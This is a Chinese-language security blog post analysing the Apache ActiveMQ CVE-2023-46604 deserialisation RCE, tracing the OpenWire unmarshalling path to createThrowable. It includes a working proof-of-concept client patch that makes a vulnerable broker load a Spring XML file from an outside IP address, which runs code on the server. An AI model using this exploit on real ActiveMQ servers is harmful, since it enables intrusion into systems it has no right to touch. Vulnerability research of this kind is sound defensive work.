November 3, 2023

Apache ActiveMQ CVE-2023-46604 RCE 分析

参考:
https://exp10it.cn/2023/10/apache-activemq-%E7%89%88%E6%9C%AC-5.18.3-rce-%E5%88%86%E6%9E%90/

影响版本

ApacheMQ < 5.18.3

漏洞成因分析


这边的diff就比较简洁明了,可以看到漏洞点在BaseDataStreamMarshaller的createThrowable方法
image.png
在这里会进行任意类的有参实例化,而ApacheMQ是基于spring的,所以自然会有ClassPathXmlApplicationContext这个类,我们让他进行实例化,即可完成RCE,但是必须就需要出网了。

正向分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;
import org.apache.activemq.ActiveMQConnectionFactory;
import javax.jms.*;

/**
* Hello world!
*
*/
public class App
{
public static void main(String[] args) throws Exception {

ConnectionFactory connectionFactory = new ActiveMQConnectionFactory("tcp://localhost:61616");
Connection connection = connectionFactory.createConnection();
connection.start();
Session session = connection.createSession();
Destination destination = session.createQueue("tempQueue");

MessageProducer producer = session.createProducer(destination);
Message message = session.createObjectMessage("123");
producer.send(message);

connection.close();
}
}

org.apache.activemq.openwire.OpenWireFormat#doUnmarshal()给上断点
image.png
一次ApacheMQ的通讯请求中会不断的有marshal和dounmarshal的操作。全局搜索一下image.png
不难发现OpenWireFormat的marshall方法。回到doUnmarshal方法
image.png
会调用tightUnmarhsal或者looseUnmarshal方法,但其实都是一样的。回到漏洞点BaseDataStreamMarhsaller
image.png
其中ExceptionResponseMarshaller是其子类。他内部有tightUnmarhsal方法
image.png
这个方法调用了tightUnmarsalThrowable方法
image.png
而在这里面就有我们的漏洞点createThrowable。其中传入的参数是wireFormat,所以OpenWireFormat就是对数据进行序列化和反序列化的类,我们需要在这里修改数据包。让clazz为恶意类,mesage为恶意参数。
image.png
这里Exception对应的是31,我们需要想办法readByte的值为31,因此我们往前翻序列化过程。
image.png
this.wireFormat.marshal(command, this.dataOut);我们在这里手动patch其中command为CPX类,我们的做法很简单,也只需要写一个相同的包名,这样由于方法调用机制,会优先寻找我们重写的类,然后调用其中的onway方法。

1
2
3
4
5
6
7
8
public void oneway(Object command) throws IOException {
this.checkStarted();
Throwable context = new ClassPathXmlApplicationContext("http://8.130.24.188:8000/rce.xml");
ExceptionResponse exceptionResponse = new ExceptionResponse(context);
this.wireFormat.marshal(exceptionResponse, this.dataOut);
this.dataOut.flush();
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package org.springframework.context.support;

public class ClassPathXmlApplicationContext extends Throwable{
private String message;

public ClassPathXmlApplicationContext(String message) {
this.message = message;
}

@Override
public String getMessage() {
return message;
}
}

我们patch两个类就行了。(注意重写getMedssage,这是为了让服务端获取到message,也就是实例化参数)继承Throwable是因为ExceptionResponse需要Exception类型,我们只是需要他的类名和传参。然后服务端会根据这2个值进行实例化。
image.png
可以看到序列化的时候果然进来了。也就是成功patch

逆向分析&&漏洞复现

环境搭建,咱们下载apachemq5.18.2之后怎么调试呢,它是基于wapper tomcat的,直接改一下conf文件就行了

1
2
3
4
5
wrapper.java.additional.8=-Xdebug
wrapper.java.additional.9=-Xnoagent
wrapper.java.additional.10=-Djava.compiler=NONE

wrapper.java.additional.11=-Xrunjdwp:transport=dt_socket,server=y,address=2999,suspend=n

在wrapper.conf下添加如上内容即可。
image.png
然后开始debug,随后运行我们的POC,POC如上述正向分析所说
image.png
进入断点,注意,现在是服务端server的debug,上面是client客户端的debug
image.png
我们构造的恶意payload成功让databyte为31了,随之进入looseUnmarshal方法内部。
image.png
然后进入漏洞点looseUnmarsalThrowable
image.png
Amazing,接着反射实例化完成RCE!
image.png

总结

还是得对一些产品的协议请求流程做一些了解,漏洞往往产生在这些通信过程中,最近见到的类似的漏洞已经够多了,X1roz师傅很厉害,我也得加把劲跟上大师傅们的脚步了。

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CVE